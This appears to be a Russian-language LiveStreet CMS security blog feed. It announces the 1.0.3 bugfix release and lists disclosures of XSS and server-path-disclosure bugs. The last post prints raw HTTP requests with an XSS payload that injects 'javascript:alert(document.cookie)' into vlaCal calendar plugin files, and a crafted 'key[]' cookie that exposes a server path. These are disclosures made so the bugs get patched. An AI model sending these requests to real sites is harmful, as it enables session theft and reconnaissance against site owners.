Релиз LiveStreet 1.0.3

Сообщаем о выходе новой версии LS 1.0.3. Версия носит багфиксный характер.
Были закрыты две XSS уязвимости(спасибо HiMiC и PSNet ) и исправлено раскрытие директории в сессиях(еще раз спасибо PSNet ).

Обновленный дистрибутив уже доступен для загрузки — livestreetcms.ru/download/
Для закрытия этих багов для версий 1.0.2, 0.5.1 и 0.4.2 достаточно скачать этот патч и залить его поверх вашей версии LS.

Важное замечание! Настоятельно рекомендуем обновиться с версий 0.5 и 0.4 до актуальной 1.0.3. Т.к. помимо исправлений этого патча старые версии содержать множество других бед, в том числе и потенциальные уязвимости.

Изменения коснулись 4-х файлов:
config/jevix.php
engine/lib/external/Jevix/jevix.class.php
engine/lib/external/swfupload/swfupload.swf
engine/modules/session/Session.class.php

Подробнее можно посмотреть на гитхабе — github.com/livestreet/livestreet/commit/83c15587388dec02f8b97eac8a0d809a3233702c

Раскрытие директории в модуле сессий, часть 2

Что ж… модуль сессий в ЛС оказался слегка дырявым всего-навсего в пределах одного метода. Первая часть по раскрытию путей находится здесь, все тесты и описание будут приводится на основе исправленного модуля сессий из предыдущего топика.
В данном топике будет рассмотрено и исправлено 2 способа раскрытия путей на сайте под управлением ливстрит последней доступной версии (1.0.2).

Читать дальше →

Раскрытие директории в модуле сессий

В LiveStreet CMS последней версии (1.0.2) обнаружена уязвимость, которая раскрывает пути на сервере, связанная с модулем сессий. Ошибка связана с отсутствием проверки типа значения для установки нового id сессии при подмене User Agent.

Читать дальше →

Раскрытие директории в плагине «Sitemap»

В текущей версии плагина (0.4.0) Sitemap для LiveStreet CMS возможно раскрытие директории через вызов файла из директории /plugins/sitemap/tests/behat/features/bootstrap/FeatureContext.php, что приведет к ошибке php.

Читать дальше →

Раскрытие директорий в ЛС. Часть 2-5

С момента публикации моего топика найдено ещё 4 лазейки, позволяющие злоумышленнику узнать имя аккаунта на вашем сервере. Часть из них связана с неверным типов переменных, которые специально формируются заведомо ложными и вызывают ошибку, часть — в связи с приходом пхп 5.4, который имеет разные нововведения, но также отныне вызывает ошибку уровня e_notice при преобразовании массива в строку:

livestreetguide.com/livestreet_security/raskrytie-direktoriy-v-ls-chast-2.html
livestreetguide.com/livestreet_security/raskrytie-direktoriy-v-ls-chast-3.html
livestreetguide.com/livestreet_security/raskrytie-direktoriy-v-ls-chast-4.html
livestreetguide.com/livestreet_security/raskrytie-direktoriy-v-ls-chast-5.html

и заключительный топик, в котором есть файл со всеми фиксами для последней публичной версии ЛС 1.0.1

З.Ы. Когда я закончил 5 топик, я нашел ещё такие же проблемы, но напишу о них позже. Вы можете быть в курсе последних событий, касающихся безопасности ЛС, читая блог Безопасность LiveStreet CMS на сайте гида по лс.

Безопасность ЛС: Раскрытие директорий в ЛС

Вряд ли это можно назвать серьезной дырой, но все же это есть:

  • Уровень опасности: низкий
  • Тип: раскрытие имени пользователя (аккаунта) на сервере
  • Версии движка, которые подвержены данной опасности: все, начиная с LS 0.4

Чтоооо?..

LiveStreet CMS - Cross Site Scripting, раскрытие директории

Cross Site Scripting

/engine/lib/external/MooTools_1.2/plugs/vlaCal-v2.1/inc/decade.php
POST /engine/lib/external/MooTools_1.2/plugs/vlaCal-v2.1/inc/decade.php HTTP/1.1
Content-Length: 53
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=8223940c4012g3bbcffe59d6f2b7637g; _metrika_enabled=
Host: blog.himic.ru
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*

ts=%22%20BACKGROUND%3djavascript:alert%28document.cookie%29%20bad%3d%22


/engine/lib/external/MooTools_1.2/plugs/vlaCal-v2.1/inc/year.php
POST /engine/lib/external/MooTools_1.2/plugs/vlaCal-v2.1/inc/year.php HTTP/1.1
Content-Length: 53
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=bf1cae225f719d74d2086cg0a9394ad1
Host: SITEHOST.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*

ts=%22%20BACKGROUND%3djavascript:alert%28document.cookie%29%20bad%3d%22


Раскрытие директории:

Ошибка происходит из-за переменной key в Cookies, при создании её как массива key[] вылазит ошибка
GET /index.php HTTP/1.1
Cookie: PHPSESSID=8223940c401233bgcffe59d6f2b7637d; key[]=8223940c401233bbcffe59d6f2b7637g; _metrika_enabled=
Host: SITEHOST.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*



Раскрытие:
/home/webmaster/www/SITEHOST.com/www/classes/modules/user/mapper/User.mapper.class.php line 71


PS: blog.himic.ru/blog/security/162.html

UPD1: исправлено github.com/livestreet/livestreet/commit/a5b7cd5979a9a20fe100a5cd1a748603b1159680